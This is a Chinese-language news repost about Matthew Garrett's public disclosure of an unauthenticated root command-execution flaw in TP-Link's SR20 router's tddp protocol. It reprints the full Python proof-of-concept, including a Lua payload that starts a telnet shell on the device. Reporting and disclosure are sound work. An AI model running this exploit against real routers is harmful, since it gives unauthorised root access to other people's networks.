歡迎光臨
每天分享高質量文章

TP-Link 不回應,安全工程師公開了其路由器漏洞

來自:開源中國

https://www.oschina.net/news/105548/tplink-router-flaw

此前 Google 安全工程師在 TP-Link 的 SR20 智慧家居路由器上發現了一個允許從本地網絡連接執行任意命令的漏洞,他將問題報告給 TP-Link,但是經過了 90 天還沒有得到官方的回應,於是他公開了該漏洞。

該問題由著名的 Google 安全工程師與開源貢獻者 Matthew Garrett 披露,周三他公開的 38 行概念驗證代碼顯示出在利用 SR20 的漏洞時可以使用 root 權限執行設備上的任何命令,並且無需身份驗證。

Matthew 解釋,TP-Link 路由器經常以 root 身份運行名為“tddp”(TP-Link Device Debug Protocol,TP-Link設備除錯協議)的行程。它已經存在了多個漏洞,其中一個沒有身份驗證。

“SR20 暴露了一些第一個版本協議的命令,其中一個(命令 0x1f,請求 0x01)似乎是用於某種配置驗證”,他說:“你發送檔案和相應引數,收到命令後,路由器通過 TFTP 響應請求的機器,詢問檔案名,將其匯入 Lua 解釋器,以 root 身份運行,並將引數發送到匯入檔案中的 config_test() 函式。Lua os.execute() 方法傳遞一個由操作系統 shell 執行的命令。”

由於解釋器以 root 身份運行,所以可以執行任意命令。

#!/usr/bin/python3

# Create /testfile in your tftp root directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Replace 192.168.0.1 with the IP address of the vulnerable device

import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
packet = packet + b"/testfile;arbitrary"
print(packet)
sock_send.sendto(packet, ("192.168.0.1", port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

赞(0)

分享創造快樂